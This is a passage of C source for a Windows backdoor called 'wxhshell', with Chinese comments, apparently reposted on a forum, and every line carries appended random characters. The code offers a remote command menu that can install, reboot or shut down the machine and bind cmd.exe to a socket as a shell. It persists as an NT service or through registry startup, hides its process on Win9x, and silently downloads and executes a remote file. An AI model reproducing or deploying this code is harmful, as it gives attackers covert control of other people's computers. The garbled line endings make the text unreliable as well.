    switch(cmd[0]) { $qM&iI-l0  
  OA&r8WK3  
  // 帮助 (xMq(g  
  case '?': { !.w|+-JKO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =wFl(Q6J  
    break; Ft?Y c 5  
  } hF9y^Hx4  
  // 安装 agnEYdM_  
  case 'i': { p+^K$w^Cs  
    if(Install()) hCB _g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X@%4N<  
    else zTfl#%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DfVSG1g  
    break; z]1g;j  
    } sxPvi0>  
  // 卸载 IgKrcpK#}?  
  case 'r': { 8D`TN8[W  
    if(Uninstall()) LN=#&7=$c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a!;CY1>  
    else #[y2nK3zF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ])vqXjN6"  
    break; DN|+d{^lN  
    } 1A N)%  
  // 显示 wxhshell 所在路径 @g1T??h   
  case 'p': { @Qd5a(5WM  
    char svExeFile[MAX_PATH]; s"X0Jx}  
    strcpy(svExeFile,"\n\r"); H=*2A!O[_  
      strcat(svExeFile,ExeFile); {&pBy  
        send(wsh,svExeFile,strlen(svExeFile),0); a0hgF_O1  
    break; Fhs/<w-  
    } q`HK4~i,  
  // 重启 __)"-\w-_(  
  case 'b': { ,~XAV ;+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G+K`FUNA  
    if(Boot(REBOOT)) 0D}k ^W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .zvvk  
    else { J&;' gT  
    closesocket(wsh); *N%)+-   
    ExitThread(0); 2Kw i4R  
    } E=qfI>2U&  
    break; /!W',9ua6  
    } L}>ts(!q&  
  // 关机 phy:G}F6%  
  case 'd': { Ss'Dto35Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |kqRhR(Ei  
    if(Boot(SHUTDOWN)) &8hW~G>(m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k j&hn  
    else { @Pf['BF"  
    closesocket(wsh); aa\?k\h'7X  
    ExitThread(0); ab*O7v  
    } u\=yY.   
    break; &&te(DC\  
    } pwo @ S"  
  // 获取shell (_eM:H=e>  
  case 's': { >%85S>e  
    CmdShell(wsh); >S:+&VN`M  
    closesocket(wsh); TR!7@Mu 3  
    ExitThread(0); v8K4u)  
    break; X9#i!_*  
  } ^P owL:  
  // 退出 }*vO&J@z  
  case 'x': { g>_d,#F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x24&mWgU  
    CloseIt(wsh); 1"U.-I@  
    break; nT@FS t  
    } I6[=tB  
  // 离开 HLl"=m1/>  
  case 'q': { M|qJZ#{4>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zu/1:8x  
    closesocket(wsh); >C}KSyV;  
    WSACleanup(); zq]:.s  
    exit(1); d>x(Bj6  
    break; T@Th?  
        } BU=Ta$#BZ  
  } qino:_g  
  } i^V3u  
fs*OR2YG7  
  // 提示信息 IUQYoKz4}A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ikgia:/-Z  
} i/F ].Sag  
  } I =nvL  
nLnzl  
  return; '#CYw=S+  
} oN Rp  
&p.7SPQ8/  
// shell模块句柄 -FQS5Zb.!  
int CmdShell(SOCKET sock) poXT)2^)  
{ MMf_  
STARTUPINFO si; Io<L! =>  
ZeroMemory(&si,sizeof(si)); 9D51@b6k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,w7ZsI4:[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d6~d)E  
PROCESS_INFORMATION ProcessInfo; 0mI4hy  
char cmdline[]="cmd"; I.)9:7   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i&JI"Dd7  
  return 0; z=DK(b;$z  
} _sIr'sR~  
<}1GYeP  
// 自身启动模式  P'oY +#  
int StartFromService(void) opqf)C  
{ C<N7zMwT  
typedef struct Px?0)^"2  
{ WsR4)U/]v  
  DWORD ExitStatus; -d6PXf5  
  DWORD PebBaseAddress; ]0 ;,M  
  DWORD AffinityMask; G3de<?K.[V  
  DWORD BasePriority; =+VI{~.|}  
  ULONG UniqueProcessId; &_$xMM,X  
  ULONG InheritedFromUniqueProcessId; D?r% Y  
}   PROCESS_BASIC_INFORMATION; $TavvO%#  
\D}$foHg  
PROCNTQSIP NtQueryInformationProcess; 4 zipgw  
n2&M?MGX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  A}n7A   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *5R91@xt  
c_syJ<  
  HANDLE             hProcess; y?8V'.f|  
  PROCESS_BASIC_INFORMATION pbi; Fzn#>`qG  
wbh^ZMQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); seNH/pRb  
  if(NULL == hInst ) return 0; qF4DX$$<  
_H$Z }2g<z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2w /qH4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c/`Rv{ *'o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mv1|oFVW  
Cj# ?Z7}z  
  if (!NtQueryInformationProcess) return 0; :w:ql/?X  
[3io6XG x@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V-z F'KI[  
  if(!hProcess) return 0; qgsw8O&  
n]bxG8~t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ct}rj-L<i  
i-Ri;E  
  CloseHandle(hProcess); _O"C`]]  
<W88;d33r=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Fo&ecWhw  
if(hProcess==NULL) return 0; kud2O>>  
<& =3g/Y  
HMODULE hMod; gYfOa`k  
char procName[255]; E1Rz<&L  
unsigned long cbNeeded; ;V)94YT  
.;NoKO7)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  h]?[}&  
((tWgSZ3  
  CloseHandle(hProcess); "gq _^&  
L&qY709  
if(strstr(procName,"services")) return 1; // 以服务启动 Oa -~}hN  
lK #~lC  
  return 0; // 注册表启动 [300F=R  
} B-aJn8>/  
Axx{G~n![  
// 主模块 Xe\,:~  
int StartWxhshell(LPSTR lpCmdLine) kF7`R4Sz  
{ j% E9@#  
  SOCKET wsl; (r$QQO) /  
BOOL val=TRUE; W^dRA xVX  
  int port=0; (JeRJ4  
  struct sockaddr_in door; _ +A$6l  
jX 6+~  
  if(wscfg.ws_autoins) Install(); q<?r5H5  
nokMS  
port=atoi(lpCmdLine); LX iis)1  
? p^':@=  
if(port<=0) port=wscfg.ws_port; KPs @v@5M  
)\,hc$<=m  
  WSADATA data; T eBJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S3_QOL  
Gm'Ch}E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9NcC.}#-5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C'CdVDm X  
  door.sin_family = AF_INET; R86:1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [LHfH3[gU  
  door.sin_port = htons(port); %~YQl N  
9/LJ tM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g;<_GL  
closesocket(wsl); ut;KphvSH  
return 1; PVUNi: h  
} X.<2]V7!  
' $X}'u  
  if(listen(wsl,2) == INVALID_SOCKET) { @)m+b;  
closesocket(wsl);  Q-Rt  
return 1; )z2hyGX  
} [bJAh ` I  
  Wxhshell(wsl); {t&+abY  
  WSACleanup(); p&,2@(Q  
3W}xYYs] ^  
return 0; #ui7YUR=2  
] e]l08  
} fIcra  
X P_ V  
// 以NT服务方式启动 n{r _Xa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0P6< 4  
{ e+>&? x  
DWORD   status = 0; &fWYQ'\>  
  DWORD   specificError = 0xfffffff; OL)M`eVQ'  
 p(Bn!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |p{FSS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z  )dz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZVmgQ7m  
  serviceStatus.dwWin32ExitCode     = 0; OQZ\/~o 5  
  serviceStatus.dwServiceSpecificExitCode = 0; EL-1o0 2-  
  serviceStatus.dwCheckPoint       = 0; IEJp!P,E  
  serviceStatus.dwWaitHint       = 0; IOi6' 1l  
B|+tK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S)d_A  
  if (hServiceStatusHandle==0) return; rJl'+Ae9N|  
#y%?A;  
status = GetLastError(); [sH[bmLR  
  if (status!=NO_ERROR) JK9}Kb};  
{ YKs^aQm#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :ift{XR'  
    serviceStatus.dwCheckPoint       = 0; gAgP("  
    serviceStatus.dwWaitHint       = 0; a uz2n  
    serviceStatus.dwWin32ExitCode     = status; 1u0 NG)*f  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,zY!EHpx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zf%6U[{ T  
    return; ;qT7BUh(%  
  } SZQ4e  
S\O6B1<:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xkzC+ _A  
  serviceStatus.dwCheckPoint       = 0; bbO1`b-  
  serviceStatus.dwWaitHint       = 0; 3xnu SOdh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |k^ *  
} 4?{e?5)  
7T3ub3\  
// 处理NT服务事件,比如:启动、停止 ,:QDl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BnLWC  
{ N2^B  
switch(fdwControl) saaN$tU7  
{ 0jN?5j  
case SERVICE_CONTROL_STOP: K q0!.455  
  serviceStatus.dwWin32ExitCode = 0; zWh[U'6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]o]*&[C  
  serviceStatus.dwCheckPoint   = 0; cCH2=v4hU  
  serviceStatus.dwWaitHint     = 0; X%._:st  
  { P$=Y5   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yy6?16@  
  } "cUCB  
  return; uR7\uvibUO  
case SERVICE_CONTROL_PAUSE: :9`T.V<?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *!*J5/ b  
  break; cSSrMYX2  
case SERVICE_CONTROL_CONTINUE: Q0j$u[x6s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^L1#  
  break; C,xM) V^a  
case SERVICE_CONTROL_INTERROGATE: L)o7~M  
  break; g.d%z  
}; EO5k?k[*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )R2BTE:  
} Vuqm{bo^  
/WJ*ro]Hd$  
// 标准应用程序主函数 OxraaN`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V3u[{^^f  
{ ~e<v<92Xu  
a9GLFA8Vq  
// 获取操作系统版本 V nv9 <=R  
OsIsNt=GetOsVer(); |[VtYV _{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >"Z^8J  
6h|@Bz/A  
  // 从命令行安装 [1Yx#t  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^c{,QS{  
mb\}F9  
  // 下载执行文件 -/.Xf<y58  
if(wscfg.ws_downexe) { VzR (O B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;$y(Tvd;  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0UmKS\P  
} l ^*GqP5  
pCQB<6&1N  
if(!OsIsNt) { 38%xB<Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 "3*Chc  
HideProc(); K`nI$l7hg  
StartWxhshell(lpCmdLine); j3bTa|UdT  
} [9WtoA,kx  
else _|S>, D'  
  if(StartFromService()) _ G!lQ)1  
  // 以服务方式启动 [y73 xF   
  StartServiceCtrlDispatcher(DispatchTable); onM ~*E  
else bqXCe\#  
  // 普通方式启动 AFWcTz6#d  
  StartWxhshell(lpCmdLine); lGI5  
6s833Tmb&r  
return 0; e'oM% G[  
}
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只看该作者 1 发表于: 2006-10-10
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